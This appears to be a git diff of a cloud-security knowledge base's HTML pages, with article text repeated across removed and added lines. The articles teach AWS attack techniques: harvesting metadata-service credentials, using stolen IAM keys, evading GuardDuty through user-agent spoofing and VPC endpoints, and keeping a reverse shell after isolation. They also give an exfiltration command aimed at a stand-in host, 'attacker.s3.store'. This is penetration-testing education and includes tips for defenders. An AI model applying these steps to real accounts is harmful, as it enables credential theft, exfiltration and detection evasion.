When an account creates an organization it becomes the management account of that organization. Each organization has one management account, and this account effectively "owns" the organization.

Creating Member Accounts: Default OrganizationAccountAccessRole

When an account is created through AWS Organizations, it is considered a member of the organization (hence, member account). As a part of this account creation process, AWS Organizations will create a role in the member account called OrganizationAccountAccessRole. This role is created in each member account.

By default, the OrganizationAccountAccessRole has the AdministratorAccess policy attached to it, giving the role complete control over the member account. In addition, the default trust policy on the role is as shown below where 000000000000 is the account ID of the management account.

{
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Scott Weston & Nick Frichette

AWS Organizations Defaults & Pivoting

Almost all mid-to-large sized AWS environments make use of multi-account architecture. Using multiple AWS accounts offers a number of benefits and is considered a best practice. To help organize and manage those accounts, AWS offers a service called AWS Organizations.

Due to the ubiquity of AWS Organizations, it is important for Penetration Testers and Red Teamers to familiarize themselves with its default configuration.

When an account creates an organization it becomes the management account of that organization. Each organization has one management account, and this account effectively "owns" the organization.

Creating Member Accounts: Default OrganizationAccountAccessRole

When an account is created through AWS Organizations, it is considered a member of the organization (hence, member account). As a part of this account creation process, AWS Organizations will create a role in the member account called OrganizationAccountAccessRole. This role is created in each member account.

By default, the OrganizationAccountAccessRole has the AdministratorAccess policy attached to it, giving the role complete control over the member account. In addition, the default trust policy on the role is as shown below where 000000000000 is the account ID of the management account.

{
     "Version": "2012-10-17",
     "Statement": [
         {
@@ -26,6 +26,6 @@
 
 # See Data Collected/Enumerated
 Pacu (Session: Keys) > data organizations
-

Relevant pull requests can be found here and here.

\ No newline at end of file diff --git a/aws/general-knowledge/block-expensive-actions-with-scps/index.html b/aws/general-knowledge/block-expensive-actions-with-scps/index.html index 36db356f0..0ee2d5241 100644 --- a/aws/general-knowledge/block-expensive-actions-with-scps/index.html +++ b/aws/general-knowledge/block-expensive-actions-with-scps/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Prevent Expensive AWS API Actions with SCPs

An ever-present danger when using AWS is accidentally making an API call that could cost you thousands of dollars. Speaking from experience, this can be a remarkably stressful time. To mitigate this risk, implementing guardrails on your account is essential. One way to do this is to block API operations which are known to be expensive. Operations like signing up for certain AWS services or creating non-deletable resources can lead to high costs.

Understanding Service Control Policies

To help prevent billing headaches when learning about AWS security or conducting research we can use a Service Control Policy (SCP). An SCP is a type of organizational policy which restricts what API calls can be made by member accounts in an AWS Organization. Thanks to the work of Ian McKay, and other community members, we have a list of AWS API operations which are prohibitively expensive and should be avoided.

To implement the policy below, refer to the AWS documentation for detailed instructions on attaching and managing SCPs.

Warning

While this SCP provides a significant safeguard, it is not entirely foolproof. You can still incur high charges if not careful. This policy only blocks known problematic API calls. Always exercise caution when creating or configuring resources in AWS.

Safeguard SCP

{
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Prevent Expensive AWS API Actions with SCPs

An ever-present danger when using AWS is accidentally making an API call that could cost you thousands of dollars. Speaking from experience, this can be a remarkably stressful time. To mitigate this risk, implementing guardrails on your account is essential. One way to do this is to block API operations which are known to be expensive. Operations like signing up for certain AWS services or creating non-deletable resources can lead to high costs.

Understanding Service Control Policies

To help prevent billing headaches when learning about AWS security or conducting research we can use a Service Control Policy (SCP). An SCP is a type of organizational policy which restricts what API calls can be made by member accounts in an AWS Organization. Thanks to the work of Ian McKay, and other community members, we have a list of AWS API operations which are prohibitively expensive and should be avoided.

To implement the policy below, refer to the AWS documentation for detailed instructions on attaching and managing SCPs.

Warning

While this SCP provides a significant safeguard, it is not entirely foolproof. You can still incur high charges if not careful. This policy only blocks known problematic API calls. Always exercise caution when creating or configuring resources in AWS.

Safeguard SCP

{
   "Version": "2012-10-17",
   "Statement": [
     {
@@ -52,6 +52,6 @@
     }
   ]
 }
-
\ No newline at end of file diff --git a/aws/general-knowledge/connection-tracking/index.html b/aws/general-knowledge/connection-tracking/index.html index 25340a293..eb694d277 100644 --- a/aws/general-knowledge/connection-tracking/index.html +++ b/aws/general-knowledge/connection-tracking/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Connection Tracking

Security Groups in AWS have an interesting capability known as Connection Tracking. This allows the security groups to track information about the network traffic and allow/deny that traffic based on the Security Group rules.

There are two kinds of traffic flows; tracked and untracked. For example the AWS documentation mentions a tracked flow as the following, "if you initiate an ICMP ping command to your instance from your home computer, and your inbound security group rules allow ICMP traffic, information about the connection (including the port information) is tracked. Response traffic from the instance for the ping command is not tracked as a new request, but rather as an established connection and is allowed to flow out of the instance, even if your outbound security group rules restrict outbound ICMP traffic".

An interesting side effect of this is that tracked connections are allowed to persist, even after a Security Group rule change.

Let's take a simple example: There is an EC2 instance that runs a web application. This EC2 instance has a simple Security Group that allows SSH, port 80, and port 443 inbound, and allows all traffic outbound. This EC2 instance is in a public subnet and is internet facing.

Inbound SG

While performing a penetration test you've gained command execution on this EC2 instance. In doing so, you pop a simple reverse shell. You work your magic on the box before eventually triggering an alert to our friendly neighborhood defender. They follow their runbooks which may borrow from the official AWS whitepaper on incident response.

As part of the "Isolate" step, the typical goal is to isolate the affected EC2 instance with either a restrictive Security Group or an explicit Deny NACL. The slight problem with this is that NACLs affect the entire subnet, and if you are operating in a space with a ton of EC2 instances the defender is unlikely to want to cause an outage for all of them. As a result, swapping the Security Group is the recommended procedure.

The defender switches the Security Group from the web and ssh one, to one that does not allow anything inbound or outbound.

Change Security Group

The beauty of connection tracking is that because you've already established a connection with your shell, it will persist. So long as you ran the shell before the SG change, you can continue scouring the box and looking for other vulnerabilities.

whoami

To be clear, if the restrictive security group doesn't allow for any outbound rules we won't be able to communicate out (and if you're using a beaconing C2 that will not function).

No Outbound

Article by Nick Frichette

Connection Tracking

Security Groups in AWS have an interesting capability known as Connection Tracking. This allows the security groups to track information about the network traffic and allow/deny that traffic based on the Security Group rules.

There are two kinds of traffic flows; tracked and untracked. For example the AWS documentation mentions a tracked flow as the following, "if you initiate an ICMP ping command to your instance from your home computer, and your inbound security group rules allow ICMP traffic, information about the connection (including the port information) is tracked. Response traffic from the instance for the ping command is not tracked as a new request, but rather as an established connection and is allowed to flow out of the instance, even if your outbound security group rules restrict outbound ICMP traffic".

An interesting side effect of this is that tracked connections are allowed to persist, even after a Security Group rule change.

Let's take a simple example: There is an EC2 instance that runs a web application. This EC2 instance has a simple Security Group that allows SSH, port 80, and port 443 inbound, and allows all traffic outbound. This EC2 instance is in a public subnet and is internet facing.

Inbound SG

While performing a penetration test you've gained command execution on this EC2 instance. In doing so, you pop a simple reverse shell. You work your magic on the box before eventually triggering an alert to our friendly neighborhood defender. They follow their runbooks which may borrow from the official AWS whitepaper on incident response.

As part of the "Isolate" step, the typical goal is to isolate the affected EC2 instance with either a restrictive Security Group or an explicit Deny NACL. The slight problem with this is that NACLs affect the entire subnet, and if you are operating in a space with a ton of EC2 instances the defender is unlikely to want to cause an outage for all of them. As a result, swapping the Security Group is the recommended procedure.

The defender switches the Security Group from the web and ssh one, to one that does not allow anything inbound or outbound.

Change Security Group

The beauty of connection tracking is that because you've already established a connection with your shell, it will persist. So long as you ran the shell before the SG change, you can continue scouring the box and looking for other vulnerabilities.

whoami

To be clear, if the restrictive security group doesn't allow for any outbound rules we won't be able to communicate out (and if you're using a beaconing C2 that will not function).

No Outbound

\ No newline at end of file diff --git a/aws/general-knowledge/iam-key-identifiers/index.html b/aws/general-knowledge/iam-key-identifiers/index.html index 956db3371..211d8fb88 100644 --- a/aws/general-knowledge/iam-key-identifiers/index.html +++ b/aws/general-knowledge/iam-key-identifiers/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

IAM ID Identifiers

In AWS, different resources are assigned a "unique identifier". This identifier is a unique, 21 character value. The first four characters of the identifier are a prefix to denote the type of resource it represents.

The full list of prefixes can be found below.

Prefix Entity Type
ABIA AWS STS service bearer token
ACCA Context-specific credential
AGPA Group
AIDA IAM user
AIPA Amazon EC2 instance profile
AKIA Access key
ANPA Managed policy
ANVA Version in a managed policy
APKA Public key
AROA Role
ASCA Certificate
ASIA Temporary (AWS STS) keys

From a security perspective, there are 2 primary prefixes which are important to know, AKIA and ASIA.

AKIA

IAM credentials with the AKIA prefix belong to long lived access keys. These are associated with IAM users. These credentials can potentially be exposed and used by attackers. Because they do not expire by default, they serve as an excellent vehicle to gain initial access to an AWS environment.

ASIA

IAM credentials with the ASIA prefix belong to short lived access keys which were generated using STS. These credentials last for a limited time. In the event you come across an access key prefixed with ASIA, a secret key, and a session token, make use of them quickly before they expire.

Article by Nick Frichette

IAM ID Identifiers

In AWS, different resources are assigned a "unique identifier". This identifier is a unique, 21 character value. The first four characters of the identifier are a prefix to denote the type of resource it represents.

The full list of prefixes can be found below.

Prefix Entity Type
ABIA AWS STS service bearer token
ACCA Context-specific credential
AGPA Group
AIDA IAM user
AIPA Amazon EC2 instance profile
AKIA Access key
ANPA Managed policy
ANVA Version in a managed policy
APKA Public key
AROA Role
ASCA Certificate
ASIA Temporary (AWS STS) keys

From a security perspective, there are 2 primary prefixes which are important to know, AKIA and ASIA.

AKIA

IAM credentials with the AKIA prefix belong to long lived access keys. These are associated with IAM users. These credentials can potentially be exposed and used by attackers. Because they do not expire by default, they serve as an excellent vehicle to gain initial access to an AWS environment.

ASIA

IAM credentials with the ASIA prefix belong to short lived access keys which were generated using STS. These credentials last for a limited time. In the event you come across an access key prefixed with ASIA, a secret key, and a session token, make use of them quickly before they expire.

\ No newline at end of file diff --git a/aws/general-knowledge/intro_metadata_service/index.html b/aws/general-knowledge/intro_metadata_service/index.html index e92457197..9635f7ed6 100644 --- a/aws/general-knowledge/intro_metadata_service/index.html +++ b/aws/general-knowledge/intro_metadata_service/index.html @@ -7,8 +7,8 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Introduction to the Instance Metadata Service

Every EC2 instance has access to the instance metadata service (IMDS) that contains metadata and information about that specific EC2 instance. In addition, if an IAM Role is associated with the EC2 instance, credentials for that role will be in the metadata service. Because of this, the instance metadata service is a prime target for attackers who gain access to an EC2 instance.

How to Access the Metadata Service

The metadata service can be accessed at http://169.254.169.254/latest/meta-data/ from the EC2 instance. Alternatively, it can also be reached via IPv6 at http://[fd00:ec2::254]/latest/meta-data/ however this only applies to Nitro EC2 instances.

To get credentials, you will first need to make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The response to this will return the name of the IAM role associated with the credentials. You then make a subsequent request to retrieve the IAM credentials at http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/.

IMDSv2

Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

user@host:~$ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Introduction to the Instance Metadata Service

Every EC2 instance has access to the instance metadata service (IMDS) that contains metadata and information about that specific EC2 instance. In addition, if an IAM Role is associated with the EC2 instance, credentials for that role will be in the metadata service. Because of this, the instance metadata service is a prime target for attackers who gain access to an EC2 instance.

How to Access the Metadata Service

The metadata service can be accessed at http://169.254.169.254/latest/meta-data/ from the EC2 instance. Alternatively, it can also be reached via IPv6 at http://[fd00:ec2::254]/latest/meta-data/ however this only applies to Nitro EC2 instances.

To get credentials, you will first need to make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The response to this will return the name of the IAM role associated with the credentials. You then make a subsequent request to retrieve the IAM credentials at http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/.

IMDSv2

Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

user@host:~$ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
 user@host:~$ curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/
-

The Security Benefits of IMDSv2

IMDSv2 offers a number of security improvements over the original. Wherever possible, IMDSv2 should be enforced over the original metadata service. These improvements take the following form:

Session Authentication: In order to retrieve information from the metadata service a session must be created by sending a HTTP PUT request to retrieve a token value. After this, the token must be used for all subsequent requests. This mechanism effectively mitigates traditional Server Side Request Forgery attacks, as an attacker is unlikely to be able to send a PUT request.

Blocks X-Forwarded-For Header: IMDSv2 will block requests to fetch a token that include the X-Forwarded-For header. This is to prevent misconfigured reverse proxies from being able to access it.

TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to "1". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.

Note

While the default configuration of IMDSv2 will prevent a Docker container from being able to reach the metadata service, this can be configured via the "hop limit."

What Info the Metadata Service Contains

The following information was pulled from here.

Endpoint Description
ami-id The AMI ID used to launch the instance.
ami-launch-index If you started more than one instance at the same time, this value indicates the order in which the instance was launched. The value of the first instance launched is 0.
ami-manifest-path The path to the AMI manifest file in Amazon S3. If you used an Amazon EBS-backed AMI to launch the instance, the returned result is unknown.
hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0).
iam/info If there is an IAM role associated with the instance, contains information about the last time the instance profile was updated, including the instance's LastUpdated date, InstanceProfileArn, and InstanceProfileId. Otherwise, not present.
iam/security-credentials/role-name If there is an IAM role associated with the instance, role-name is the name of the role, and role-name contains the temporary security credentials associated with the role. Otherwise, not present.
identity-credentials/ec2/info [Internal use only] Information about the credentials in identity-credentials/ec2/security-credentials/ec2-instance. These credentials are used by AWS features such as EC2 Instance Connect, and do not have any additional AWS API permissions or privileges beyond identifying the instance.
instance-id The ID of this instance.
local-hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0).
local-ipv4 The private IPv4 address of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0).
public-hostname The instance's public DNS. This category is only returned if the enableDnsHostnames attribute is set to true.
public-ipv4 The public IPv4 address. If an Elastic IP address is associated with the instance, the value returned is the Elastic IP address.
public-keys/0/openssh-key Public key. Only available if supplied at instance launch time.
security-groups The names of the security groups applied to the instance.
\ No newline at end of file diff --git a/aws/general-knowledge/introduction_user_data/index.html b/aws/general-knowledge/introduction_user_data/index.html index 04563c570..3e424eb14 100644 --- a/aws/general-knowledge/introduction_user_data/index.html +++ b/aws/general-knowledge/introduction_user_data/index.html @@ -7,9 +7,9 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Introduction to User Data

Instance user data is used to run commands when an EC2 instance is first started or after it is rebooted (with some configuration). Because this script is typically used to install software and configure the instance, this can be an excellent source of information for us as attackers. After gaining access to an EC2 instance you should immediately grab the user data script to gain information on the environment.

Warning

Although it should not be done, credentials/secrets often end up being stored in user data. From the AWS docs, "Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data."

How to Access EC2 User Data

User data can be accessed at http://169.254.169.254/latest/user-data/ from the EC2 instance.

IMDSv2

Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

user@host:~$ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Introduction to User Data

Instance user data is used to run commands when an EC2 instance is first started or after it is rebooted (with some configuration). Because this script is typically used to install software and configure the instance, this can be an excellent source of information for us as attackers. After gaining access to an EC2 instance you should immediately grab the user data script to gain information on the environment.

Warning

Although it should not be done, credentials/secrets often end up being stored in user data. From the AWS docs, "Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data."

How to Access EC2 User Data

User data can be accessed at http://169.254.169.254/latest/user-data/ from the EC2 instance.

IMDSv2

Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

user@host:~$ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
 user@host:~$ curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/user-data/
 

API

Another option to gather user data is via the API. If you escalate privileges in an account, or simply compromise a user/role with sufficient permissions, you can query the AWS API to view the user data of specific EC2 instances. This requires you to know the instance-id of the target EC2 instance. To query the user data we will use the describe-instance-attribute action. The result will be base64 encoded.

user@host:~$ aws ec2 describe-instance-attribute --instance-id i-abc123... --attribute userData
-
\ No newline at end of file diff --git a/aws/general-knowledge/using_stolen_iam_credentials/index.html b/aws/general-knowledge/using_stolen_iam_credentials/index.html index 6bff4121a..682b1da15 100644 --- a/aws/general-knowledge/using_stolen_iam_credentials/index.html +++ b/aws/general-knowledge/using_stolen_iam_credentials/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Using Stolen IAM Credentials

As a Penetration Tester or Red Teamer it is likely you will stumble into AWS IAM credentials during an assessment. The following is a step by step guide on how you can use them, things to consider, and methods to avoid detection.

IAM Credential Characteristics

In AWS there are typically two types of credentials you will be working with, long term (access keys) and short term.

Long term credentials will have an access key that starts with AKIA and will be 20 characters long. In addition to the access key there will also be a secret access key which is 40 characters long. With these two keys, you can potentially make requests against the AWS API. As the name implies, these credentials have no specified lifespan and will be useable until they are intentionally disabled/deactivated. As a result, this makes them not recommended from a security perspective. Temporary security credentials are preferred.

Temporary credentials, by comparison, will have an access key that starts with ASIA, be 20 characters long, and also have a 40 character secret key. In addition, temporary security credentials will also have a session token (sometimes referred to as a security token). The session token will be base64 encoded and quite long. With these 3 credentials combined you can potentially make requests to the AWS API. As the name implies, these credentials have a temporary lifespan that is determined when they were created. It can be as short as 15 minutes, and as long as several hours.

Working with the Keys

After gathering the credentials you will likely want to use them with the AWS CLI. There are a few ways to do this, however setting them as environment variables is likely the easiest.

To do this with long term credentials, set the following environment variables.

export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Using Stolen IAM Credentials

As a Penetration Tester or Red Teamer it is likely you will stumble into AWS IAM credentials during an assessment. The following is a step by step guide on how you can use them, things to consider, and methods to avoid detection.

IAM Credential Characteristics

In AWS there are typically two types of credentials you will be working with, long term (access keys) and short term.

Long term credentials will have an access key that starts with AKIA and will be 20 characters long. In addition to the access key there will also be a secret access key which is 40 characters long. With these two keys, you can potentially make requests against the AWS API. As the name implies, these credentials have no specified lifespan and will be useable until they are intentionally disabled/deactivated. As a result, this makes them not recommended from a security perspective. Temporary security credentials are preferred.

Temporary credentials, by comparison, will have an access key that starts with ASIA, be 20 characters long, and also have a 40 character secret key. In addition, temporary security credentials will also have a session token (sometimes referred to as a security token). The session token will be base64 encoded and quite long. With these 3 credentials combined you can potentially make requests to the AWS API. As the name implies, these credentials have a temporary lifespan that is determined when they were created. It can be as short as 15 minutes, and as long as several hours.

Working with the Keys

After gathering the credentials you will likely want to use them with the AWS CLI. There are a few ways to do this, however setting them as environment variables is likely the easiest.

To do this with long term credentials, set the following environment variables.

export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE
 export AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM
 

To do this with short term credentials, set the following environment variables.

export AWS_ACCESS_KEY_ID=ASIAEXAMPLEEXAMPLEEE
 export AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM
@@ -21,6 +21,6 @@
 

Tip

For defensive security professionals, it may be worthwhile to alert on invocations of sts:GetCallerIdentity from identities that have no history of calling it. For example, if an application server in a production environment has never called it before, that may be an indication of compromise.

It is worth noting that sts:GetCallerIdentity may be legitimately used by a large number of projects, and that individual developers may use it as well. To attempt to reduce the number of false positives, it would be best to only alert on identities which have no history of calling it.

Operational Security Considerations

If you are attempting to maintain stealth, sts:GetCallerIdentity may be a risk. This API call logs to CloudTrail which means that defenders will have a log with additional details that this occurred. To get around this, we can make use of data events.

Data events are high-volume API calls for resources in an AWS account. Because of the number of times these APIs may be called, they are not logged to CloudTrail by default and in some cases they cannot be logged at all.

An example of this would be sqs:ListQueues. By making this API call we can get similar information to sts:GetCallerIdentity without the risk of logging to CloudTrail.

user@host:~$ aws sqs list-queues
 
 An error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action
-

For more information on this technique, please see its article.

Avoiding Detection

There are situations where simply using the credentials could alert defenders to your presence. As a result, it is a good idea to be mindful of these circumstances to avoid being caught.

GuardDuty Pentest Findings and CLI User Agents

If you are using a "pentesting" Linux distribution such as Kali Linux, Parrot Security, or Pentoo Linux you will immediately trigger a PenTest GuardDuty finding. This is because the AWS CLI will send along a user agent string which contains information about the operating system making the API call.

In order to avoid this, it is best to make use of a "safe" operating system, such as Windows, Mac OS, or Ubuntu. If you are short on time, or simply MUST use one of these Linux distributions, you can modify your botocore library with a hard-coded user agent.

Tip

Are you going up against an apex blue team who will detect anything? It may be a good idea to spoof a user agent string that one would expect in the environment. For example, if these IAM credentials belong to a developer who uses a Windows workstation, it would be very strange for API calls to suddenly start having a user agent with a Linux operating system.

Defenders, this may also be worth looking into for detection purposes.

For more information on this, please see its article.

GuardDuty Credential Exfiltration

Note

This section only applies to IAM credentials taken from the Instance Metadata Service of an EC2 instance. It does not apply to other IAM credentials.

When using IAM credentials taken from an EC2 instance, you run the risk of triggering the UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS GuardDuty finding. This finding alerts on scenarios in which IAM credentials from an EC2 instance are used from outside AWS (E.X your home IP address).

This is particularly relevant in scenarios in which you have access to the IAM credentials, but not the host (Server Side Request Forgery).

To get around this, we can make use of VPC Endpoints which will not trigger this alert. To make things easier, the SneakyEndpoints tool was developed to allow you to quickly stand up infrastructure to bypass this detection.

For more information on this, please see its article.

Situational Awareness

Now that you have everything set up and you know what to look out for, your next question may be, "what is in this AWS account?". If you are performing a no-knowledge assessment, and thus, don't have any insights into what services are running in the account, it makes it difficult to know what to target or look into.

One option would be to enumerate the service-linked roles in the account. A service-linked role is a special kind of IAM role that allows an AWS service to perform actions in your account. Because of this, we can potentially enumerate them without authentication.

From the previous validity checking step, we will know the AWS account ID we are operating in. That, combined with this technique will allow us to enumerate what services the AWS account uses. This can be helpful to answer questions such as, "Is our target using GuardDuty? Is this account a part of an organization? Are they using containers (ECS, EKS), or are they using EC2?".

For more information on this, please see its article.

\ No newline at end of file diff --git a/aws/post_exploitation/create_a_console_session_from_iam_credentials/index.html b/aws/post_exploitation/create_a_console_session_from_iam_credentials/index.html index 7d86f43fa..83da59dc0 100644 --- a/aws/post_exploitation/create_a_console_session_from_iam_credentials/index.html +++ b/aws/post_exploitation/create_a_console_session_from_iam_credentials/index.html @@ -7,8 +7,8 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Create a Console Session from IAM Credentials

When performing an AWS assessment you will likely encounter IAM credentials. These credentials can be used with the AWS CLI or other tooling to query the AWS API.

While this can be useful, sometimes you just can't beat clicking around the console. If you have IAM credentials, there is a way that you can spawn an AWS Console session using a tool such as aws-vault. This can make certain actions much easier rather than trying to remember the specific flag name for the AWS CLI.

Note

If you are using temporary IAM credentials (ASIA...), for example, from an EC2 instance, you do not need to have any special IAM permissions to do this. If you are using long-term credentials (AKIA...), you need to have either sts:GetFederationToken or sts:AssumeRole permissions. This is to generate the temporary credentials you will need.

Tip

If you are attempting to avoid detection, this technique is not recommended. Aside from the suspicious ConsoleLogin CloudTrail log, and the odd user-agent (Ex: Why is the IAM role associated with the CI/CD server using a Firefox user-agent string?), you will also generate a ton of CloudTrail logs.

Using aws-vault

To start, export the relevant environment variables for the IAM credentials you have. Next, install aws-vault.

From here, perform the following commands depending on the type of credentials you have.

User Credentials

For long-term credentials (Those starting with AKIA), there is an extra step that must be completed first. You will need to generate temporary credentials to retrieve the sign in token. To do this, we will make use of sts:GetFederationToken. As an alternative, sts:AssumeRole can also be used.

aws sts get-federation-token --name blah
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Create a Console Session from IAM Credentials

When performing an AWS assessment you will likely encounter IAM credentials. These credentials can be used with the AWS CLI or other tooling to query the AWS API.

While this can be useful, sometimes you just can't beat clicking around the console. If you have IAM credentials, there is a way that you can spawn an AWS Console session using a tool such as aws-vault. This can make certain actions much easier rather than trying to remember the specific flag name for the AWS CLI.

Note

If you are using temporary IAM credentials (ASIA...), for example, from an EC2 instance, you do not need to have any special IAM permissions to do this. If you are using long-term credentials (AKIA...), you need to have either sts:GetFederationToken or sts:AssumeRole permissions. This is to generate the temporary credentials you will need.

Tip

If you are attempting to avoid detection, this technique is not recommended. Aside from the suspicious ConsoleLogin CloudTrail log, and the odd user-agent (Ex: Why is the IAM role associated with the CI/CD server using a Firefox user-agent string?), you will also generate a ton of CloudTrail logs.

Using aws-vault

To start, export the relevant environment variables for the IAM credentials you have. Next, install aws-vault.

From here, perform the following commands depending on the type of credentials you have.

User Credentials

For long-term credentials (Those starting with AKIA), there is an extra step that must be completed first. You will need to generate temporary credentials to retrieve the sign in token. To do this, we will make use of sts:GetFederationToken. As an alternative, sts:AssumeRole can also be used.

aws sts get-federation-token --name blah
 

This will return temporary IAM credentials that you can use with the next step.

STS Credentials

For short-term credentials (Those starting with ASIA), you can run the following command:

aws-vault login
-

Tip

If you'd like to generate a link without it automatically opening a new tab in your browser you can use the -s flag and it will be printed to stdout.

To learn more about custom identity broker access to the AWS Console please see the official documentation.

\ No newline at end of file diff --git a/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/index.html b/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/index.html index 3889338b9..77f71957b 100644 --- a/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/index.html +++ b/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/index.html @@ -7,9 +7,9 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Download Tools and Exfiltrate Data with the AWS CLI

In an attempt to be stealthy, threat actors will often "live off the land", using tools and scripts already existing on a host machine outside of their intended purpose. This can help them avoid detection by blending in with their surroundings.

In AWS environments, it is common to find servers which have the AWS CLI installed (It is included by default in Amazon Linux). This makes it an excellent choice for adversaries to move data around, avoiding more common tools like curl or Wget which may be monitored for suspicious uses.

As seen in the wild by the SCARLETEEL threat actor, the AWS CLI can be used to download and exfiltrate data using an attacker-hosted backend. You can host an S3 compatible object store such as MinIO and then use the --endpoint-url flag to interact with that service. This makes it easy to download tools, exfiltrate compromised data and more.

$ aws s3 ls --endpoint-url https://attacker.s3.store
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}      

Article by Nick Frichette

Download Tools and Exfiltrate Data with the AWS CLI

In an attempt to be stealthy, threat actors will often "live off the land", using tools and scripts already existing on a host machine outside of their intended purpose. This can help them avoid detection by blending in with their surroundings.

